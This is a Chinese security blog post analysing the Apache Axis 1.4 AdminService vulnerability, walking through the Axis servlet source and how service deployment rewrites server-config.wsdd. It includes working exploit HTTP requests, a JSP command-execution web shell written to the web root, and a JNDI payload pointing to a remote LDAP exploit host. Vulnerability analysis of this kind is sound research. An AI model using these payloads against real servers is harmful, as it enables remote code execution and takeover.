资讯专栏INFORMATION COLUMN

Java安全之Axis漏洞分析

番茄西红柿 / 3594人阅读

摘要:安全之漏洞分析安全之漏洞分析前言前言看到个别代码常出现里面有一些组件,没去仔细研究过该漏洞。文件写入成功重新打开文件发现内容已经发生了变化整理整理请求请求调用该方式写文件需要解析,遇到就凉凉。至此再一次佩服漏洞挖掘者。

Java安全之Axis漏洞分析

0x00 前言

看到个别代码常出现里面有一些Axis组件,没去仔细研究过该漏洞。研究记录一下。

0x01 漏洞复现

漏洞版本:axis=<1.4

Axis1.4

freemarker

下载Axis包1.4版本将Axis放到tomcat的webapp目录中。freemarker.jar放到Axis的 lib目录下。运行tomcat即可。

WEB-INF/web.xml 中将该配置取消注释

      AdminServlet    /servlet/AdminServlet  

原创复现需要将/WEB-INF下面的server-config.wsdd文件中的内容进行编辑一下

        http://xml.apache.org/axis/wsdd/ 

enableRemoteAdmin的值改成true运行远程调用。

server-config.wsdd文件会在远程机器访问/servlet/AdminServlet路由时候进行创建。

接下来对该接口进行发送payload测试

                                                 

爆了一个ns1:Client.NoSOAPAction错误。

看了一下AdminServlet的代码,发现dopost方法里面调用的getSoapAction这个判断逻辑貌似有点问题

上面req.getHeader("SOAPAction");获取header里面SOAPAction的值,如果为空则取Content-Type里面的action。都为空则直接返回,来到下面这段逻辑。

    if (soapAction == null) {      AxisFault af = new AxisFault("Client.NoSOAPAction", Messages.getMessage("noHeader00", "SOAPAction"), null, null);      exceptionLog.error(Messages.getMessage("genFault00"), (Throwable)af);      throw af;    } 

这里只需要header加入SOAPAction参数,填充任意值,让服务端获取到不为空,能解决了这个问题。

使用上面payload,创建好恶意的service后,下面来调用一下恶意的service。

/axis/services/RandomService

payload:

                                    <% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>]]>                      

文件写入成功

重新打开server-config.wsdd文件发现内容已经发生了变化

payload整理

org.apache.axis.handlers.LogHandler

POST请求:

POST /axis/services/AdminService HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 777                                                                                                                

GET请求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1Host: 127.0.0.1:8080User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cache

调用service:

POST /axis/services/randomBBB HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 700                     ]]>         ?         

该方式写文件需要解析,遇到Springboot就凉凉。

org.apache.axis.client.ServiceFactory

POST请求:

POST /axis/services/AdminService HTTP/1.1Host: 127.0.0.1:8080Connection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0Accept-Language: en-US,en;q=0.5SOAPAction: somethingUpgrade-Insecure-Requests: 1Content-Type: application/xmlAccept-Encoding: gzip, deflateContent-Length: 750                                        

GET请求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1Host: 127.0.0.1:8080User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cache

调用service:

POST /axis/services/ServiceFactoryService HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 891                                                            jndiName               ldap://xxx.xx.xx.xxx:8888/Exploit                              

这个点需要利用JNDI注入

com.sun.script.javascript.RhinoScriptEngine

POST请求:

POST /axis/services/AdminService HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 905                                                        

GET请求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1Host: 127.0.0.1:8080User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cache

调用service:

POST /axis/services/RhinoScriptEngineService HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 866

该方式有JDK版本要求 JDK版本必须要为7或7以下版本。JDK7版本后ScriptEngine被废除了,使用了NashornScriptEngine进行代替,NashornScriptEngine类不能直接被利用

解析流程分析

Init

      AxisServlet    Apache-Axis Servlet            org.apache.axis.transport.http.AxisServlet      ...     AxisServlet    /services/*  

看到org.apache.axis.transport.http.AxisServlet

public void init() throws ServletException {        super.init();        ServletContext context = this.getServletConfig().getServletContext();        isDebug = log.isDebugEnabled();        if (isDebug) {            log.debug("In servlet init");        }        this.transportName = this.getOption(context, "transport.name", "http");        if (JavaUtils.isTrueExplicitly(this.getOption(context, "use-servlet-security", (String)null))) {            this.securityProvider = new ServletSecurityProvider();        }        this.enableList = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.enableListQuery", (String)null));        this.jwsClassDir = this.getOption(context, "axis.jws.servletClassDir", (String)null);        this.disableServicesList = JavaUtils.isTrue(this.getOption(context, "axis.disableServiceList", "false"));        this.servicesPath = this.getOption(context, "axis.servicesPath", "/services/");        if (this.jwsClassDir != null) {            if (this.getHomeDir() != null) {                this.jwsClassDir = this.getHomeDir() + this.jwsClassDir;            }        } else {            this.jwsClassDir = this.getDefaultJWSClassDir();        } //初始化查询Handler,即wsdl对应的handler,用于wsdl文件生成            this.initQueryStringHandlers();        try {            ServiceAdmin.setEngine(this.getEngine(), context.getServerInfo());        } catch (AxisFault var3) {            exceptionLog.info("Exception setting AxisEngine on ServiceAdmin " + var3);        }    }

把所有以jws结尾或者services路径的的URL均由AxisServlet进行处理

super.init();

org.apache.axis.transport.http.init

  public void init() throws ServletException {        ServletContext context = this.getServletConfig().getServletContext();        this.webInfPath = context.getRealPath("/WEB-INF");        this.homeDir = context.getRealPath("/");        isDebug = log.isDebugEnabled();        if (log.isDebugEnabled()) {            log.debug("In AxisServletBase init");        }        this.isDevelopment = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.development.system", (String)null));    }

org.apache.axis.transport.http.getOption

 protected String getOption(ServletContext context, String param, String dephault) {        String value = AxisProperties.getProperty(param);        if (value == null) {            value = this.getInitParameter(param);        }        if (value == null) {            value = context.getInitParameter(param);        }        try {            AxisServer engine = getEngine(this);            if (value == null && engine != null) {                value = (String)engine.getOption(param);            }        } catch (AxisFault var6) {        }        return value != null ? value : dephault;    }

org.apache.axis.transport.http.getEngine

public static AxisServer getEngine(HttpServlet servlet) throws AxisFault {        AxisServer engine = null;        if (isDebug) {            log.debug("Enter: getEngine()");        }        ServletContext context = servlet.getServletContext();        synchronized(context) {            engine = retrieveEngine(servlet);            if (engine == null) {                Map environment = getEngineEnvironment(servlet);                engine = AxisServer.getServer(environment);                engine.setName(servlet.getServletName());                storeEngine(servlet, engine);            }        }        if (isDebug) {            log.debug("Exit: getEngine()");        }        return engine;    }

org.apache.axis.transport.http.getEngineEnvironment

从当前上下文中获取AxisServer Engine,如果返回为null,则进行初始化并存储至上下文中

 protected static Map getEngineEnvironment(HttpServlet servlet) {        Map environment = new HashMap();        String attdir = servlet.getInitParameter("axis.attachments.Directory");        if (attdir != null) {            environment.put("axis.attachments.Directory", attdir);        }        ServletContext context = servlet.getServletContext();        environment.put("servletContext", context);        String webInfPath = context.getRealPath("/WEB-INF");        if (webInfPath != null) {            environment.put("servlet.realpath", webInfPath + File.separator + "attachments");        }        EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig();        if (config != null) {            environment.put("engineConfig", config);        }        return environment;    }

这里返回的是一个org.apache.axis.configuration.EngineConfigurationFactoryServlet工厂实例

调用getServerEngineConfig来到org.apache.axis.configuration.getServerEngineConfig,

EngineConfigurationFactoryFinder.newFactory(servlet)返回org.apache.axis.configuration.EngineConfigurationFactoryServlet工厂实例,并通过private static EngineConfiguration getServerEngineConfig(ServletConfig cfg)新建EngineConfiguration实现类:FileProvider对象(即server-config.wsdd的文件操作类)

代码流程回到getEngineEnvironment

protected static Map getEngineEnvironment(HttpServlet servlet) {    Map environment = new HashMap();    String attdir = servlet.getInitParameter("axis.attachments.Directory");    if (attdir != null) {        environment.put("axis.attachments.Directory", attdir);    }    ServletContext context = servlet.getServletContext();    environment.put("servletContext", context);    String webInfPath = context.getRealPath("/WEB-INF");    if (webInfPath != null) {        environment.put("servlet.realpath", webInfPath + File.separator + "attachments");    }    EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig();    if (config != null) {        environment.put("engineConfig", config);    }    return environment;}

environment.put("engineConfig", config);

把刚刚读取server-config.wsdd的对象,存储到map中进行返回。

逻辑走到org.apache.axis.transport.http.getEngine

public static AxisServer getEngine(HttpServlet servlet) throws AxisFault {    AxisServer engine = null;    if (isDebug) {        log.debug("Enter: getEngine()");    }    ServletContext context = servlet.getServletContext();    synchronized(context) {        engine = retrieveEngine(servlet);        if (engine == null) {            Map environment = getEngineEnvironment(servlet);            engine = AxisServer.getServer(environment);            engine.setName(servlet.getServletName());            storeEngine(servlet, engine);        }    }

org.apache.axis.server.AxisServer

public static AxisServer AxisServer(Map environment) throws AxisFault {        if (factory == null) {            String factoryClassName = AxisProperties.getProperty("axis.ServerFactory");            if (factoryClassName != null) {                try {                    Class factoryClass = ClassUtils.forName(factoryClassName);                    if ((class$org$apache$axis$server$AxisServerFactory == null ? (class$org$apache$axis$server$AxisServerFactory = class$("org.apache.axis.server.AxisServerFactory")) : class$org$apache$axis$server$AxisServerFactory).isAssignableFrom(factoryClass)) {                        factory = (AxisServerFactory)factoryClass.newInstance();                    }                } catch (Exception var3) {                    log.error(Messages.getMessage("exception00"), var3);                }            }            if (factory == null) {                factory = new DefaultAxisServerFactory();            }        }        return factory.getServer(environment);    }

加载到重载getServer方法

public AxisServer getServer(Map environment) throws AxisFault {        log.debug("Enter: DefaultAxisServerFactory::getServer");        AxisServer ret = createServer(environment);        if (ret != null) {            if (environment != null) {                ret.setOptionDefault("attachments.Directory", (String)environment.get("axis.attachments.Directory"));                ret.setOptionDefault("attachments.Directory", (String)environment.get("servlet.realpath"));            }            String attachmentsdir = (String)ret.getOption("attachments.Directory");            if (attachmentsdir != null) {                File attdirFile = new File(attachmentsdir);                if (!attdirFile.isDirectory()) {                    attdirFile.mkdirs();                }            }        }        log.debug("Exit: DefaultAxisServerFactory::getServer");        return ret;    }
  private static AxisServer createServer(Map environment) {        EngineConfiguration config = getEngineConfiguration(environment);        return config == null ? new AxisServer() : new AxisServer(config);    }
 public AxisServer(EngineConfiguration config) {        super(config);        this.running = true;        this.setShouldSaveConfig(true);    }

org.apache.axis.AxisEngine

public AxisEngine(EngineConfiguration config) {    this.config = config;    this.init();}

org.apache.axis.AxisEngine

public void init() {    if (log.isDebugEnabled()) {        log.debug("Enter: AxisEngine::init");    }    try {        this.config.configureEngine(this);    } catch (Exception var2) {        throw new InternalException(var2);    }

org.apache.axis.configuration.FileProvider

public void configureEngine(AxisEngine engine) throws ConfigurationException {        try {            if (this.getInputStream() == null) {                try {                    this.setInputStream(new FileInputStream(this.configFile));                } catch (Exception var3) {                    if (this.searchClasspath) {                        this.setInputStream(ClassUtils.getResourceAsStream(engine.getClass(), this.filename, true));                    }                }            }            if (this.getInputStream() == null) {                throw new ConfigurationException(Messages.getMessage("noConfigFile"));            } else {                WSDDDocument doc = new WSDDDocument(XMLUtils.newDocument(this.getInputStream()));                //部署或者取消部署,这个得看文档配置                this.deployment = doc.getDeployment();                //定义所有数据配置此AxisEngine                this.deployment.configureEngine(engine);                //刷新内容                engine.refreshGlobalOptions();                this.setInputStream((InputStream)null);            }        } catch (Exception var4) {            throw new ConfigurationException(var4);        }    }

以上这整体解析流程为configureEngine解析server-config.wsdd服务配置。将配置文件中的各种属性handlerglobalConfigurationservicetransport缓存至WSDDDeployment类中。刷新global配置选项即将server-config.wsdd配置文件中globalConfiguration节点中的parameter属性集合由AxisEngine持有。

以上就已经完成了init的

doGet

看到doGet

public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    if (isDebug) {        log.debug("Enter: doGet()");    }    FilterPrintWriter writer = new FilterPrintWriter(response);    try {        AxisEngine engine = this.getEngine();        ServletContext servletContext = this.getServletConfig().getServletContext();        String pathInfo = request.getPathInfo();        String realpath = servletContext.getRealPath(request.getServletPath());        if (realpath == null) {            realpath = request.getServletPath();        }        boolean isJWSPage = request.getRequestURI().endsWith(".jws");        if (isJWSPage) {            pathInfo = request.getServletPath();        }        if (this.processQuery(request, response, writer)) {            return;        }

获取请求URI中为jws结尾的则调用request.getServletPath();

例如/axis/EchoHeaders.jws?wsdl使用pathInfo则等于EchoHeaders.jws

然后下面由processQuery方法来进行解析

上面是一系列的获取请求路径,来直接看到下面代码,下面代码进行了遍历

到这里把server-config.wsdd的配置内容都给加载了进来,下面根据查询条件字符串(即wsdl),通过与server-config.wsddtransport节点parameter属性匹配,查找对应的handler。

继续来看解析流程

看到获取handler的步骤。因为这里是wsdl的方式去请求,所以这里获取到的是QSWSDLHandler类,下面会进行反射去调用invoke方法

public void invoke(MessageContext msgContext) throws AxisFault {    this.configureFromContext(msgContext);    AxisServer engine = (AxisServer)msgContext.getProperty("transport.http.plugin.engine");    PrintWriter writer = (PrintWriter)msgContext.getProperty("transport.http.plugin.writer");    HttpServletResponse response = (HttpServletResponse)msgContext.getProperty(HTTPConstants.MC_HTTP_SERVLETRESPONSE);    try {        engine.generateWSDL(msgContext);        Document wsdlDoc = (Document)msgContext.getProperty("WSDL");        if (wsdlDoc != null) {            try {                this.updateSoapAddressLocationURLs(wsdlDoc, msgContext);            } catch (RuntimeException var7) {                this.log.warn("Failed to update soap:address location URL(s) in WSDL.", var7);            }            response.setContentType("text/xml; charset=" + XMLUtils.getEncoding().toLowerCase());            this.reportWSDL(wsdlDoc, writer);        } else {            if (this.log.isDebugEnabled()) {                this.log.debug("processWsdlRequest: failed to create WSDL");            }            this.reportNoWSDL(response, writer, "noWSDL02", (AxisFault)null);        }    } catch (AxisFault var8) {        if (!var8.getFaultCode().equals(Constants.QNAME_NO_SERVICE_FAULT_CODE)) {            throw var8;        }        this.processAxisFault(var8);        response.setStatus(404);        this.reportNoWSDL(response, writer, "noWSDL01", var8);    }}

这里这一大串代码则是创建对应得WSDL并且进行返回的步骤。

将生成wsdl任务交给server-config.wsdd所配置的一系列Handler,其执行顺序为
transport【requestFlow】---->globalConfiguration【requestFlow】---->service【requestFlow】---->service【responseFlow】---->globalConfiguration【responseFlow】---->transport【responseFlow】
针对jws的服务通过JWSHandler处理。

再来看到jws的服务处理的Handler

org.apache.axis.handlers.JWSHandler

  public void invoke(MessageContext msgContext) throws AxisFault {        if (log.isDebugEnabled()) {            log.debug("Enter: JWSHandler::invoke");        }        try {            this.setupService(msgContext);        } catch (Exception var3) {            log.error(Messages.getMessage("exception00"), var3);            throw AxisFault.makeFault(var3);        }    }

以上代码主要完成将jws转换成java文件,并临时存放至jwsClasses目录中,再通过jdk中的编译器sun.tools.javac.Maincom.sun.tools.javac.main.Main对java文件进行编译,将编译后的class文件存放至jwsClasses目录中,删除临时java文件,并将生成的class二进制文件加载至类加载器中。
rpc = new SOAPService(new RPCProvider());
增加Handler实例RPCProvider(继承BasicProvider)到当前handler链中

DoPost

来到dopost里面来看逻辑

前面获取一些请求路径和context、Engine等内容,在这里就不看了

org.apache.axis.server.AxisServer#invoke

if (hName != null && (h = this.getTransport(hName)) != null && h instanceof SimpleTargetedChain) {                        transportChain = (SimpleTargetedChain)h;                        h = transportChain.getRequestHandler();                        if (h != null) {                            h.invoke(msgContext);                        }                    }

hName这个值为http,this.getTransport(hName)server-config.wsdd获取值

h.invoke(msgContext);

//循环访问调用每个处理程序的链public void invoke(MessageContext msgContext) throws AxisFault {    if (log.isDebugEnabled()) {        log.debug("Enter: SimpleChain::invoke");    }    this.invoked = true;    this.doVisiting(msgContext, iVisitor);    if (log.isDebugEnabled()) {        log.debug("Exit: SimpleChain::invoke");    }}

this.doVisiting(msgContext, iVisitor);

org.apache.axis.SimpleChain#doVisiting

 private void doVisiting(MessageContext msgContext, HandlerIterationStrategy visitor) throws AxisFault {        int i = 0;        try {            for(Enumeration enumeration = this.handlers.elements(); enumeration.hasMoreElements(); ++i) {                Handler h = (Handler)enumeration.nextElement();                visitor.visit(h, msgContext);            }        } catch (AxisFault var6) {            if (!msgContext.isPropertyTrue(this.CAUGHTFAULT_PROPERTY)) {                Message respMsg = new Message(var6);                msgContext.setResponseMessage(respMsg);                msgContext.setProperty(this.CAUGHTFAULT_PROPERTY, Boolean.TRUE);            }

visitor.visit(h, msgContext);

遍历XML内容,调用method.invoke

到这里则完成service的调用。

至于这里为什么是MsgProvider是因为在server-config.wsdd中的配置

0x02 漏洞分析

漏洞分析

org.apache.axis.utils.Admin#AdminService

public Element[] AdminService(Element[] xml) throws Exception {    log.debug("Enter: Admin::AdminService");    MessageContext msgContext = MessageContext.getCurrentContext();    Document doc = this.process(msgContext, xml[0]);    Element[] result = new Element[]{doc.getDocumentElement()};    log.debug("Exit: Admin::AdminService");    return result;}

this.process(msgContext, xml[0]);来看这个地方

public Document process(MessageContext msgContext, Element root) throws Exception {    this.verifyHostAllowed(msgContext);    String rootNS = root.getNamespaceURI();    AxisEngine engine = msgContext.getAxisEngine();    if (rootNS != null && rootNS.equals("http://xml.apache.org/axis/wsdd/")) {        return processWSDD(msgContext, engine, root);    } else {        throw new Exception(Messages.getMessage("adminServiceNoWSDD"));    }}

this.verifyHostAllowed(msgContext);

private void verifyHostAllowed(MessageContext msgContext) throws AxisFault {    Handler serviceHandler = msgContext.getService();    if (serviceHandler != null && !JavaUtils.isTrueExplicitly(serviceHandler.getOption("enableRemoteAdmin"))) {        String remoteIP = msgContext.getStrProp("remoteaddr");        if (remoteIP != null && !remoteIP.equals("127.0.0.1") && !remoteIP.equals("0:0:0:0:0:0:0:1")) {            try {                InetAddress myAddr = InetAddress.getLocalHost();                InetAddress remoteAddr = InetAddress.getByName(remoteIP);                if (log.isDebugEnabled()) {                    log.debug("Comparing remote caller " + remoteAddr + " to " + myAddr);                }                if (!myAddr.equals(remoteAddr)) {                    log.error(Messages.getMessage("noAdminAccess01", remoteAddr.toString()));                    throw new AxisFault("Server.Unauthorized", Messages.getMessage("noAdminAccess00"), (String)null, (Element[])null);                }            } catch (UnknownHostException var6) {                throw new AxisFault("Server.UnknownHost", Messages.getMessage("unknownHost00"), (String)null, (Element[])null);            }        }    }}

上面这个地方获取了enableRemoteAdmin的值进行判断这个enableRemoteAdmin是否为True,如果不为Ture,则判断远程请求的地址是否为本机访问。如果都不是则直接抛出异常。

继续看到processWSDD(msgContext, engine, root);位置

engine.saveConfiguration();

 public void saveConfiguration() {        if (this.shouldSaveConfig) {            try {                this.config.writeEngineConfig(this);            } catch (Exception var2) {                log.error(Messages.getMessage("saveConfigFail00"), var2);            }        }    }

org.apache.axis.configuration.FileProvider#writeEngineConfig

这个地方会将请求过来的xml数据写入到server-config.wsdd文件里面

而根据前面的分析得知,调用和配置service等操作都是由这个文件来进行获取的配置信息。那么接下来的东西就一目了然了。

漏洞利用

前面复现漏洞中发现payload打完后server-config.wsdd多了一串配置,往下看

     

配置了一个LogHandler

org.apache.axis.handlers.soap.SOAPService#invoke

public void invoke(MessageContext msgContext) throws AxisFault {    log.debug("Enter: LogHandler::invoke");    if (!msgContext.getPastPivot()) {        this.start = System.currentTimeMillis();    } else {        this.logMessages(msgContext);    }    log.debug("Exit: LogHandler::invoke");}
private void logMessages(MessageContext msgContext) throws AxisFault {    try {        PrintWriter writer = null;        writer = this.getWriter();        Message inMsg = msgContext.getRequestMessage();        Message outMsg = msgContext.getResponseMessage();        writer.println("=======================================================");        if (this.start != -1L) {            writer.println("= " + Messages.getMessage("elapsed00", "" + (System.currentTimeMillis() - this.start)));        }        writer.println("= " + Messages.getMessage("inMsg00", inMsg == null ? "null" : inMsg.getSOAPPartAsString()));        writer.println("= " + Messages.getMessage("outMsg00", outMsg == null ? "null" : outMsg.getSOAPPartAsString()));        writer.println("=======================================================");        if (!this.writeToConsole) {            writer.close();        }    } catch (Exception var5) {        log.error(Messages.getMessage("exception00"), var5);        throw AxisFault.makeFault(var5);    }}

this.getWriter();

private PrintWriter getWriter() throws IOException {    PrintWriter writer;    if (this.writeToConsole) {        writer = new PrintWriter(System.out);    } else {        if (this.filename == null) {            this.filename = "axis.log";        }        writer = new PrintWriter(new FileWriter(this.filename, true));    }    return writer;}

这里对this.filename在前面初始化时候,我们构造了他的数据中定义成了../webapps/ROOT/shell.jsp,让他写到跟目录下。

里面还构造了一个this.writeToConsole=false的数据。

是因为我们需要在调用的时候将请求的内容写入到log日志中,即../webapps/ROOT/shell.jsp文件。

看到下面代码

  if (!this.writeToConsole) {            writer.close();        }

这里如果为true,会将这个文件流给关闭掉。

参考文章

Apache Axis1 与 Axis2 WebService 的漏洞利用总结

Axis源码分析-Web服务部署(二)

0x03 结尾

漏洞分析篇幅不是很长,整体来说这个漏洞其实就是一个文件任意写入,但由于这个组件的一些特性。即通过server-config.wsdd来初始化和配置service,那么就可以写入一个恶意的service,到该文件中,进行调用实现RCE的效果。在复现漏洞中,发现需要/servlet/AdminServlet取消这个路由的注释,实际上在测试中发现,访问该路由会自动生成server-config.wsdd文件,我们需要的是该文件。有server-config.wsdd文件,/servlet/AdminServlet存不存在就显得没那么重要了。至此再一次佩服漏洞挖掘者。

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/125369.html

相关文章

  • 如何理解Axis

    摘要:一句话总结可以方便我们将数据进行不同维度的处理。一理解如果你像我一样,发现中有这个参数,但不知道是什么意思。一旦维数超过二维,就无法用简单的行和列来表示了。 showImg(https://segmentfault.com/img/remote/1460000018678067?w=1600&h=900); 前言 只有光头才能变强。 回顾前面: 从零开始学TensorFlow【01-...

    huashiou 评论0 收藏0
  • 分布式服务框架远程通讯技术及原理分析

    摘要:微软的虽然引入了事件机制,可以在队列收到消息时触发事件,通知订阅者。由微软作为主要贡献者的,则对以及做了进一层包装,并能够很好地实现这一模式。 在分布式服务框架中,一个最基础的问题就是远程服务是怎么通讯的,在Java领域中有很多可实现远程通讯的技术,例如:RMI、MINA、ESB、Burlap、Hessian、SOAP、EJB和JMS等,这些名词之间到底是些什么关系呢,它们背后到底是基...

    sorra 评论0 收藏0
  • 分布式服务框架远程通讯技术及原理分析

    摘要:微软的虽然引入了事件机制,可以在队列收到消息时触发事件,通知订阅者。由微软作为主要贡献者的,则对以及做了进一层包装,并能够很好地实现这一模式。 在分布式服务框架中,一个最基础的问题就是远程服务是怎么通讯的,在Java领域中有很多可实现远程通讯的技术,例如:RMI、MINA、ESB、Burlap、Hessian、SOAP、EJB和JMS等,这些名词之间到底是些什么关系呢,它们背后到底是基...

    0xE7A38A 评论0 收藏0
  • Pandas库基础分析——数据规整化处理

    摘要:前言在数据分析和建模之前需要审查数据是否满足数据处理应用的要求,以及对数据进行清洗,转化,合并,重塑等一系列规整化处理。通过数据信息查看可知数据中存在缺失值,比如各存在个,各存在个。 前言 在数据分析和建模之前需要审查数据是否满足数据处理应用的要求,以及对数据进行清洗,转化,合并,重塑等一系列规整化处理。pandas标准库提供了高级灵活的方法,能够轻松地将数据规整化为正确的形式,本文通...

    roundstones 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<